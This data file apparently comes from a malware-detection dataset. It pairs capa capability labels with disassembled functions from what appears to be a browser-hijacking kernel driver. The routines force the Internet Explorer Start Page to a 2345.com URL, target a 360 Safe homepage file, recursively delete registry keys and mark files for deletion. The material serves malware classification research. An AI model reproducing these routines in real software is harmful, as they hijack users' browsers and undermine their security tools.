joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002090
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
push eax
mov eax, 0x106c
call fcn.10005458
sub esp, eax
mov eax, dword [esp + eax]
mov ebx, eax
mov eax, dword [0x10006044]
test eax, eax
je 0x100020e9
mov edi, dword [sym.imp.user32.dll_GetDlgItem]
mov esi, 0x10006044
lea esi, [esi]
mov dword [esp + 4], eax
add esi, 4
mov dword [esp], ebx
call edi
sub esp, 8
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.user32.dll_EnableWindow]
mov eax, dword [esi]
sub esp, 8
test eax, eax
jne 0x100020c0
mov dword [ebp - 0x105c], 0x1048
lea esi, [ebp - 0x1054]
xor eax, eax
mov word [ebp - 0x1054], ax
lea eax, [ebp - 0x105c]
mov dword [ebp - 0x1058], 1
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x1058]
mov dword [esp + 0x1c], 0x18
mov dword [esp + 0x18], str.about:blank
mov dword [esp + 0x14], 0
mov dword [esp + 0xc], esi
mov dword [esp + 8], eax
mov dword [esp + 4], str.Start_Page
mov dword [esp], str.SoftwareMicrosoftInternet_ExplorerMain
call dword [sym.imp.shlwapi.dll_SHRegGetUSValueW]
sub esp, 0x20
test eax, eax
jne 0x10002161
cmp dword [ebp - 0x1058], 1
je 0x10002170
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], 0x3e8
call dword [sym.imp.user32.dll_SetDlgItemTextW]
sub esp, 0xc
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x10002b00
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
push eax
mov eax, 0x106c
call fcn.10005458
sub esp, eax
mov eax, dword [esp + eax]
mov ebx, eax
cmp edx, 0x3ec
je 0x10002bc0
ja 0x10002b60
cmp edx, 0x3ea
je 0x10002bf0
cmp edx, 0x3eb
jne 0x10002ba0
mov dword [esp + 8], str.about:blank
mov dword [esp + 4], 0x3e8
mov dword [esp], eax
call dword [sym.imp.user32.dll_SetDlgItemTextW]
sub esp, 0xc
jmp 0x10002b94
cmp edx, 0x30003e8
jne 0x10002ba0
mov dword [esp], eax
call dword [sym.imp.user32.dll_GetParent]
sub esp, 4
mov dword [esp + 0xc], 0
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x468
mov dword [esp], eax
call dword [sym.imp.user32.dll_SendMessageW]
sub esp, 0x10
lea esp, [ebp - 8]
mov eax, 1
pop ebx
pop esi
pop ebp
ret
test byte [0x10006050], 8
jne 0x10002c88
xor eax, eax
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x100023f0
mov dword [esp + 8], eax
mov dword [esp + 4], 0x3f2
mov eax, dword [0x1000a004]
mov dword [esp], eax
call dword [sym.imp.user32.dll_DialogBoxParamW]
sub esp, 0x14
jmp 0x10002b94
mov dword [ebp - 0x1058], 0x1048
lea eax, [ebp - 0x1058]
mov dword [ebp - 0x1054], 1
lea esi, [ebp - 0x1050]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x1054]
mov dword [esp + 0x1c], 0x18
mov dword [esp + 0x18], str.about:blank
mov dword [esp + 0x14], 0
mov dword [esp + 0xc], esi
mov dword [esp + 8], eax
mov dword [esp + 4], str.Default_Page_URL
mov dword [esp], str.SoftwareMicrosoftInternet_ExplorerMain
call dword [sym.imp.shlwapi.dll_SHRegGetUSValueW]
sub esp, 0x20
test eax, eax
jne 0x10002b94
cmp dword [ebp - 0x1054], 1
jne 0x10002b94
mov dword [esp + 8], esi
mov dword [esp + 4], 0x3e8
mov dword [esp], ebx
call dword [sym.imp.user32.dll_SetDlgItemTextW]
sub esp, 0xc
jmp 0x10002b94
movzx eax, dx
shr edx, 0x10
mov dword [esp + 0xc], str.not_implemented_for_command:__d__d_n
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], edx
mov dword [esp + 8], str.general_on_command
mov dword [esp + 4], 0x10006050
mov dword [esp], 3
call fcn.10002770
xor eax, eax
jmp 0x10002baf
Function at 0x401104
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
xor eax, eax
lea edi, [ebp - 0x28]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x2c]
push eax
xor ebx, ebx
mov esi, 0xf003f
push esi
lea eax, [ebp - 4]
push eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0x2c], 0x18
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x20], 0x40
mov dword [ebp - 0x24], 0x407750
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
call dword [sym.imp.ntoskrnl.exe_ZwOpenKey]
test eax, eax
jns 0x40117a
lea eax, [ebp - 0xc]
push eax
push ebx
push ebx
push ebx
lea eax, [ebp - 0x2c]
push eax
push esi
lea eax, [ebp - 4]
push eax
mov dword [ebp - 0xc], 1
call dword [sym.imp.ntoskrnl.exe_ZwCreateKey]
test eax, eax
jns 0x40117a
xor al, al
pop edi
pop esi
pop ebx
leave
ret
mov eax, dword [0x40774c]
push 4
mov esi, str.___
push esi
push eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], ebx
call dword [sym.imp.ntoskrnl.exe__wcsnicmp]
add esp, 0xc
test eax, eax
je 0x4011d7
push 0x62656e66
mov edi, 0x400
push edi
push ebx
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov dword [ebp - 0xc], eax
cmp eax, ebx
je 0x4011d7
push edi
mov edi, eax
push ebx
push edi
call dword [sym.imp.ntoskrnl.exe_memset]
push esi
push edi
call dword [sym.imp.ntoskrnl.exe_wcscpy]
push dword [ebp - 8]
push edi
call dword [sym.imp.ntoskrnl.exe_wcscat]
add esp, 0x1c
mov dword [ebp - 8], edi
mov esi, dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
push str.ImagePath
lea eax, [ebp - 0x14]
push eax
call esi
push dword [ebp - 8]
call dword [sym.imp.ntoskrnl.exe_wcslen]
mov edi, dword [sym.imp.ntoskrnl.exe_ZwSetValueKey]
pop ecx
lea eax, [eax + eax + 2]
push eax
push dword [ebp - 8]
lea eax, [ebp - 0x14]
push 1
push ebx
push eax
push dword [ebp - 4]
call edi
mov dword [ebp - 8], eax
cmp dword [ebp - 0xc], ebx
je 0x401222
push 0x62656e66
push dword [ebp - 0xc]
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
cmp dword [ebp - 8], ebx
jge 0x401235
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
jmp 0x401173
push str.start
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0xc], 1
call esi
push 4
lea eax, [ebp - 0xc]
push eax
push 4
push ebx
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
call edi
test eax, eax
js 0x401227
push str.type
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0xc], 1
call esi
push 4
lea eax, [ebp - 0xc]
push eax
push 4
push ebx
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
call edi
test eax, eax
jns 0x401295
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov al, bl
jmp 0x401175
mov bl, 1
jmp 0x401285
Function at 0x401299
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
xor eax, eax
mov word [ebp - 0x10], ax
push 0x4d746147
lea edi, [ebp - 0xe]
stosd dword es:[edi], eax
mov esi, 0x208
push esi
push 1
stosw word es:[edi], ax
mov byte [ebp - 5], 0
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov ebx, eax
test ebx, ebx
jne 0x4012d2
xor al, al
jmp 0x401370
push esi
push 0
push ebx
call dword [sym.imp.ntoskrnl.exe_memset]
mov edi, dword [ebp + 8]
add esp, 0xc
lea esi, [ebp - 0x10]
mov dword [ebp - 0x10], 0x2080000
mov dword [ebp - 0xc], ebx
call fcn.00403093
push dword [ebp - 0xc]
call fcn.00402e85
mov esi, eax
test esi, esi
jne 0x401319
lea eax, [ebp - 0x10]
push eax
call fcn.0040193f
push dword [ebp - 0xc]
call fcn.00402e85
mov esi, eax
test esi, esi
je 0x401361
push dword [ebp + 0x10]
and dword [ebp + 8], 0
push dword [ebp + 0xc]
lea edi, [ebp + 8]
push esi
call fcn.00402efc
mov byte [ebp - 5], al
test al, al
je 0x40135a
and dword [ebp - 0x24], 0
and dword [ebp - 0x18], 0
xor eax, eax
lea edi, [ebp - 0x20]
stosd dword es:[edi], eax
mov eax, dword [ebp + 0x10]
push 0x14
mov dword [ebp - 0x1c], eax
push 8
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x24]
push eax
push esi
call dword [sym.imp.ntoskrnl.exe_ZwSetInformationFile]
push esi
call dword [sym.imp.ntoskrnl.exe_ZwClose]
push 0x4d746147
push ebx
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov al, byte [ebp - 5]
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x40193f
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub esp, 0x30
push ebx
push esi
xor ebx, ebx
push edi
mov edi, 0xc0000001
cmp eax, ebx
je 0x401abb
mov eax, dword [eax + 4]
cmp eax, ebx
je 0x401abb
push eax
call fcn.00402e03
mov esi, eax
cmp esi, ebx
je 0x40199e
push 0xd
push 1
lea eax, [ebp - 5]
push eax
lea eax, [ebp - 0x18]
push eax
push esi
mov byte [ebp - 5], 1
call dword [sym.imp.ntoskrnl.exe_ZwSetInformationFile]
mov edi, eax
cmp edi, ebx
jl 0x40199e
mov bl, 1
push esi
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov al, bl
jmp 0x401abd
push dword [ebp + 8]
call fcn.004018a3
mov dword [ebp - 0x10], eax
cmp eax, ebx
je 0x401ab2
cmp edi, ebx
jge 0x401aab
push ebx
lea ecx, [ebp - 0xc]
push ecx
mov ecx, dword [sym.imp.ntoskrnl.exe_IoFileObjectType]
push ebx
push dword [ecx]
push 0x10000
push eax
call dword [sym.imp.ntoskrnl.exe_ObReferenceObjectByHandle]
test eax, eax
js 0x401aa3
push dword [ebp - 0xc]
call dword [sym.imp.ntoskrnl.exe_IoGetRelatedDeviceObject]
mov edi, eax
movzx eax, byte [edi + 0x30]
push 1
push eax
call dword [sym.imp.ntoskrnl.exe_IoAllocateIrp]
mov esi, eax
cmp esi, ebx
jne 0x401a07
mov ecx, dword [ebp - 0xc]
call dword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
jmp 0x401aa3
push ebx
push 1
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.ntoskrnl.exe_KeInitializeEvent]
mov byte [ebp + 0xb], 1
lea eax, [ebp + 0xb]
mov dword [esi + 0xc], eax
lea eax, [ebp - 0x30]
mov dword [esi + 0x2c], eax
lea eax, [ebp - 0x20]
mov dword [esi + 0x28], eax
mov eax, dword [ebp - 0xc]
mov dword [esi + 0x64], eax
call dword [sym.imp.ntoskrnl.exe_KeGetCurrentThread]
mov dword [esi + 0x50], eax
mov eax, dword [esi + 0x60]
mov byte [esi + 0x20], bl
mov byte [eax - 0x24], 6
mov dword [eax - 0x10], edi
mov ecx, dword [ebp - 0xc]
mov dword [eax - 0xc], ecx
mov dword [eax - 0x20], 1
mov dword [eax - 0x1c], 0xd
mov ecx, dword [ebp - 0xc]
mov dword [eax - 0x18], ecx
mov eax, dword [esi + 0x60]
mov dword [eax - 8], 0x401909
mov byte [eax - 0x21], 0xe0
lea ecx, [ebp - 0x30]
mov dword [eax - 4], ecx
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x14]
mov edx, esi
mov ecx, edi
mov dword [eax + 8], ebx
mov dword [eax], ebx
call dword [sym.imp.ntoskrnl.exe_IofCallDriver]
push ebx
push 1
push ebx
push ebx
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.ntoskrnl.exe_KeWaitForSingleObject]
mov ecx, dword [ebp - 0xc]
call dword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov bl, 1
mov esi, dword [ebp - 0x10]
jmp 0x401990
push eax
call dword [sym.imp.ntoskrnl.exe_ZwClose]
xor eax, eax
cmp edi, ebx
setge al
jmp 0x401abd
xor al, al
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x401ac4
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x3c]
push eax
xor esi, esi
push 0xf003f
lea eax, [ebp - 0xc]
push eax
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x3c], 0x18
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x28], esi
call dword [sym.imp.ntoskrnl.exe_ZwOpenKey]
mov edi, eax
cmp edi, esi
jl 0x401c28
mov edi, dword [sym.imp.ntoskrnl.exe_ZwQueryKey]
lea eax, [ebp - 8]
push eax
push esi
push esi
push 2
push dword [ebp - 0xc]
mov dword [ebp - 8], esi
call edi
mov ebx, dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov esi, 0x4d746147
push esi
push dword [ebp - 8]
push 1
call ebx
lea ecx, [ebp - 8]
push ecx
push dword [ebp - 8]
mov dword [ebp - 0x14], eax
push eax
push 2
push dword [ebp - 0xc]
call edi
mov eax, dword [ebp - 0x14]
and dword [ebp - 0x10], 0
cmp dword [eax + 0x14], 0
jbe 0x401c12
lea eax, [ebp - 8]
push eax
push 0
push 0
push 1
push dword [ebp - 0x10]
push dword [ebp - 0xc]
call dword [sym.imp.ntoskrnl.exe_ZwEnumerateKey]
push esi
push dword [ebp - 8]
push 1
call ebx
mov edi, eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push edi
push 1
push dword [ebp - 0x10]
push dword [ebp - 0xc]
call dword [sym.imp.ntoskrnl.exe_ZwEnumerateKey]
mov ax, word [edi + 0x14]
mov word [ebp - 0x24], ax
mov cx, word [edi + 0x14]
mov word [ebp - 0x22], cx
lea ecx, [edi + 0x18]
mov dword [ebp - 0x20], ecx
test ax, ax
je 0x401bf8
push esi
push 0x400
push 1
call ebx
test eax, eax
je 0x401bf8
push dword [ebp + 8]
xor ecx, ecx
mov dword [ebp - 0x18], eax
mov word [ebp - 0x1c], cx
lea eax, [ebp - 0x1c]
mov ecx, 0x400
push eax
mov word [ebp - 0x1a], cx
call dword [sym.imp.ntoskrnl.exe_RtlCopyUnicodeString]
push 0x405204
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlAppendUnicodeToString]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlAppendUnicodeStringToString]
lea eax, [ebp - 0x1c]
push eax
call fcn.00401ac4
push esi
push edi
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [eax + 0x14]
jb 0x401b54
push dword [ebp - 0xc]
call dword [sym.imp.ntoskrnl.exe_ZwDeleteKey]
push dword [ebp - 0xc]
mov edi, eax
call dword [sym.imp.ntoskrnl.exe_ZwClose]
xor esi, esi
xor eax, eax
cmp edi, esi
pop edi
pop esi
setge al
pop ebx
leave
ret 4
Function at 0x4022c2
Capabilities:
Find process by pid

Disassembly:
push 0x14
push 0x405878
call fcn.00404f20
mov esi, ecx
mov byte [ebp - 0x1a], 0
xor edi, edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x24], edi
mov byte [ebp - 0x19], 0
mov dword [ebp - 4], edi
call dword [sym.imp.HAL.dll_KeGetCurrentIrql]
test al, al
je 0x4022f8
or dword [ebp - 4], 0xffffffff
xor al, al
jmp 0x402420
cmp esi, edi
je 0x4023e0
cmp esi, 4
je 0x4023d7
cmp esi, 8
je 0x4023d7
lea eax, [ebp - 0x20]
push eax
push esi
call dword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
cmp eax, edi
jl 0x402400
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x20]
call fcn.0040225d
cmp eax, edi
jl 0x402400
push dword [ebp - 0x20]
call dword [sym.imp.ntoskrnl.exe_KeAttachProcess]
mov byte [ebp - 0x19], 1
push 1
push 0x1d8
mov esi, dword [ebp - 0x24]
push esi
mov edi, dword [sym.imp.ntoskrnl.exe_ProbeForRead]
call edi
mov esi, dword [esi + 0x10]
push 1
push 0x290
push esi
call edi
movzx eax, word [esi + 0x38]
mov ecx, 0x208
cmp ax, cx
ja 0x402400
mov ecx, dword [esi + 0x3c]
cmp ecx, esi
lea ebx, [ecx + esi]
jb 0x402384
mov ebx, ecx
push 2
push eax
push ebx
call edi
mov edi, str.___
push edi
push ebx
call dword [sym.imp.ntoskrnl.exe_wcsstr]
pop ecx
pop ecx
mov dword [ebp - 0x24], eax
test eax, eax
je 0x4023b8
push edi
call dword [sym.imp.ntoskrnl.exe_wcslen]
pop ecx
mov ecx, dword [ebp - 0x24]
lea eax, [ecx + eax*2]
movzx esi, word [esi + 0x38]
sub esi, eax
add esi, ebx
jmp 0x4023be
mov eax, ebx
movzx esi, word [esi + 0x38]
push esi
push eax
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.ntoskrnl.exe_memcpy]
add esp, 0xc
shr esi, 1
xor eax, eax
mov word [edi + esi*2], ax
jmp 0x4023ef
push 7
mov edx, str.System
jmp 0x4023e7
push 5
mov edx, str.Idle
mov ecx, dword [ebp + 8]
call fcn.00401f3b
or dword [ebp - 4], 0xffffffff
mov byte [ebp - 0x1a], 1
jmp 0x402404
or dword [ebp - 4], 0xffffffff
cmp byte [ebp - 0x19], 0
je 0x402410
call dword [sym.imp.ntoskrnl.exe_KeDetachProcess]
mov ecx, dword [ebp - 0x20]
test ecx, ecx
je 0x40241d
call dword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov al, byte [ebp - 0x1a]
call fcn.00404f5b
ret 4
Function at 0x4028cd
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
xor edi, edi
call fcn.004038ee
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x402904
push str.socket___error_n
call dword [sym.imp.ntoskrnl.exe_DbgPrint]
pop ecx
push edi
push dword [ebp + 0x18]
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov eax, 0xc000009a
jmp 0x4029c8
lea edx, [ebp - 8]
call fcn.00401eab
test eax, eax
je 0x402915
mov eax, dword [ebp - 8]
jmp 0x402918
or eax, 0xffffffff
cmp eax, edi
je 0x4028e4
push 2
pop ecx
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x18]
mov word [ebp - 0x18], cx
mov ecx, 0x5000
push eax
mov eax, ebx
mov word [ebp - 0x16], cx
call fcn.004034da
mov esi, eax
pop ecx
cmp esi, edi
jge 0x402964
push esi
push str.connect___error:__x_n
call dword [sym.imp.ntoskrnl.exe_DbgPrint]
pop ecx
pop ecx
push edi
push dword [ebp + 0x18]
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov eax, ebx
call fcn.0040342f
mov eax, esi
jmp 0x4029c8
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call fcn.00403818
add esp, 0x10
cmp eax, edi
jge 0x40298b
push eax
push str.send___error:__x_n
call dword [sym.imp.ntoskrnl.exe_DbgPrint]
mov esi, 0xc0000001
jmp 0x40294d
push edi
mov esi, 0x4000
push esi
push dword [ebp + 0x18]
push ebx
call fcn.00403799
add esp, 0x10
cmp eax, 0xffffffff
jne 0x402a14
push eax
push str.recv___error:__x_n
call dword [sym.imp.ntoskrnl.exe_DbgPrint]
pop ecx
pop ecx
push 0
push dword [ebp + 0x18]
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov eax, ebx
call fcn.0040342f
mov eax, 0xc0000001
pop edi
pop esi
pop ebx
leave
ret 0x14
cmp eax, 0xffffffff
je 0x402a18
lea ecx, [edi + eax]
mov dword [ebp + 0xc], ecx
cmp ecx, 0x400000
ja 0x402a18
add edi, dword [ebp + 0x10]
push eax
push dword [ebp + 0x18]
push edi
call dword [sym.imp.ntoskrnl.exe_memcpy]
mov edi, dword [ebp + 0xc]
add esp, 0xc
push esi
push 0
push dword [ebp + 0x18]
call dword [sym.imp.ntoskrnl.exe_memset]
add esp, 0xc
push 0
push esi
push dword [ebp + 0x18]
push ebx
call fcn.00403799
add esp, 0x10
test eax, eax
jne 0x4029cf
push 0
push dword [ebp + 0x18]
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov eax, ebx
call fcn.0040342f
mov eax, dword [ebp + 0x14]
mov dword [eax], edi
xor eax, eax
jmp 0x4029c8

Function at 0x402a8c
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
and dword [ebp - 0x20], 0
and dword [ebp - 0x14], 0
and dword [ebp - 0x10], 0
lea eax, [ebp + 8]
push esi
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x24]
push eax
push 0xf003f
lea eax, [ebp - 4]
push eax
mov dword [ebp - 0x24], 0x18
mov dword [ebp - 0x18], 0x40
call dword [sym.imp.ntoskrnl.exe_ZwOpenKey]
test eax, eax
js 0x402b06
push str.Start_Page
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
mov esi, str.http:__www.2345.com__24384_1087
push esi
call dword [sym.imp.ntoskrnl.exe_wcslen]
pop ecx
lea eax, [eax + eax + 2]
push eax
push esi
push 1
push 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_ZwSetValueKey]
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
pop esi
leave
ret 8
Function at 0x402f41
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push esi
push edi
xor esi, esi
xor eax, eax
mov dword [ebp - 0x34], esi
lea edi, [ebp - 0x30]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], esi
cmp ebx, esi
jne 0x402f6e
mov dword [ebp - 4], 0xc000000d
jmp 0x40308c
push str.REGISTRYMACHINESOFTWAREMicrosoftWindowsCurrentVersionUninstall360
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea eax, [ebp - 0x14]
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x34]
push eax
xor edi, edi
push 0x20019
lea eax, [ebp - 8]
push eax
mov dword [ebp - 0x34], 0x18
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x28], 0x240
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x20], edi
call dword [sym.imp.ntoskrnl.exe_ZwOpenKey]
mov dword [ebp - 4], eax
cmp eax, edi
jl 0x403070
push 0x4d746147
mov edi, 0x410
push edi
push 0
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov esi, eax
test esi, esi
jne 0x402fdf
mov dword [ebp - 4], 0xc000009a
jmp 0x403070
push edi
push 0
push esi
call dword [sym.imp.ntoskrnl.exe_memset]
add esp, 0xc
push str.InstallLocation
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea eax, [ebp - 0xc]
push eax
push edi
push esi
push 2
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 8]
call dword [sym.imp.ntoskrnl.exe_ZwQueryValueKey]
mov dword [ebp - 4], eax
test eax, eax
js 0x403070
cmp dword [esi + 4], 1
mov dword [ebp - 4], 0xc0000001
jne 0x403070
push 0x4d746147
mov edi, 0x400
push edi
push 1
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov dword [ebx + 4], eax
test eax, eax
je 0x403070
mov cx, word [esi + 8]
mov word [ebx], cx
mov ecx, dword [esi + 8]
add ecx, 2
push ecx
push 0
push eax
mov word [ebx + 2], di
call dword [sym.imp.ntoskrnl.exe_memset]
push dword [esi + 8]
lea eax, [esi + 0xc]
push eax
push dword [ebx + 4]
call dword [sym.imp.ntoskrnl.exe_memcpy]
add esp, 0x18
and dword [ebp - 4], 0
cmp dword [ebp - 8], 0
je 0x40307f
push dword [ebp - 8]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
test esi, esi
je 0x40308c
push 0
push esi
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov eax, dword [ebp - 4]
pop edi
pop esi
leave
ret
Function at 0x4030de
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
push ebx
xor eax, eax
push esi
push edi
mov word [ebp - 0x18], ax
lea edi, [ebp - 0x16]
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
mov word [ebp - 0x20], ax
lea edi, [ebp - 0x1e]
stosd dword es:[edi], eax
lea ebx, [ebp - 0x18]
mov byte [ebp - 1], 0
stosw word es:[edi], ax
call fcn.00402f41
mov ebx, 0x4d746147
test eax, eax
js 0x403298
push 0x5c
pop eax
push 0x73
mov word [ebp - 0x70], ax
pop eax
push 0x61
mov word [ebp - 0x6e], ax
pop eax
push 0x66
mov word [ebp - 0x6c], ax
pop eax
push 0x65
mov word [ebp - 0x6a], ax
pop eax
push 0x6d
mov word [ebp - 0x68], ax
pop eax
push 0x6f
mov word [ebp - 0x66], ax
pop eax
push 0x6e
mov word [ebp - 0x64], ax
pop eax
push 0x5c
mov word [ebp - 0x62], ax
pop eax
push 0x48
mov word [ebp - 0x60], ax
pop eax
push 0x6f
mov word [ebp - 0x5e], ax
pop eax
push 0x6d
mov word [ebp - 0x5c], ax
pop eax
push 0x65
mov word [ebp - 0x5a], ax
pop eax
push 0x50
mov word [ebp - 0x58], ax
pop eax
push 0x61
mov word [ebp - 0x56], ax
pop eax
push 0x67
mov word [ebp - 0x54], ax
pop eax
push 0x65
mov word [ebp - 0x52], ax
pop eax
push 0x4c
mov word [ebp - 0x50], ax
pop eax
push 0x69
mov word [ebp - 0x4e], ax
pop eax
push 0x62
mov word [ebp - 0x4c], ax
pop eax
push 0x2e
mov word [ebp - 0x4a], ax
pop eax
push 0x64
mov word [ebp - 0x48], ax
pop eax
push 0x61
mov word [ebp - 0x46], ax
pop eax
mov word [ebp - 0x44], ax
push 0x74
pop eax
mov word [ebp - 0x42], ax
xor eax, eax
mov word [ebp - 0x40], ax
mov word [ebp - 0x3e], ax
mov word [ebp - 0x3c], ax
mov word [ebp - 0x3a], ax
mov word [ebp - 0x38], ax
mov word [ebp - 0x36], ax
mov word [ebp - 0x34], ax
mov word [ebp - 0x32], ax
mov word [ebp - 0x30], ax
push 0x200
lea eax, [ebp - 0x70]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.ntoskrnl.exe_wcsncat]
add esp, 0xc
push dword [ebp - 0x14]
call dword [sym.imp.ntoskrnl.exe_wcslen]
pop ecx
add eax, eax
push ebx
mov esi, 0x400
mov word [ebp - 0x18], ax
push esi
mov eax, esi
push 1
mov word [ebp - 0x16], ax
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
push esi
mov ecx, esi
push 0
push eax
mov dword [ebp - 0x1c], eax
mov word [ebp - 0x1e], cx
call dword [sym.imp.ntoskrnl.exe_memset]
add esp, 0xc
lea esi, [ebp - 0x20]
lea edi, [ebp - 0x18]
call fcn.00403093
push dword [ebp - 0x1c]
call fcn.00402e03
mov esi, eax
test esi, esi
je 0x403298
and dword [ebp - 0xc], 0
push 0x48
push 0x406028
push esi
lea edi, [ebp - 0xc]
call fcn.00402efc
mov byte [ebp - 1], al
test al, al
je 0x403291
and dword [ebp - 0x28], 0
xor eax, eax
and dword [ebp - 0xc], eax
push 0x14
lea edi, [ebp - 0x24]
stosd dword es:[edi], eax
push 8
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x28]
push eax
push esi
mov dword [ebp - 0x10], 0x48
call dword [sym.imp.ntoskrnl.exe_ZwSetInformationFile]
push esi
call dword [sym.imp.ntoskrnl.exe_ZwClose]
cmp dword [ebp - 0x14], 0
mov esi, dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
je 0x4032aa
push ebx
push dword [ebp - 0x14]
call esi
cmp dword [ebp - 0x1c], 0
je 0x4032b6
push ebx
push dword [ebp - 0x1c]
call esi
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret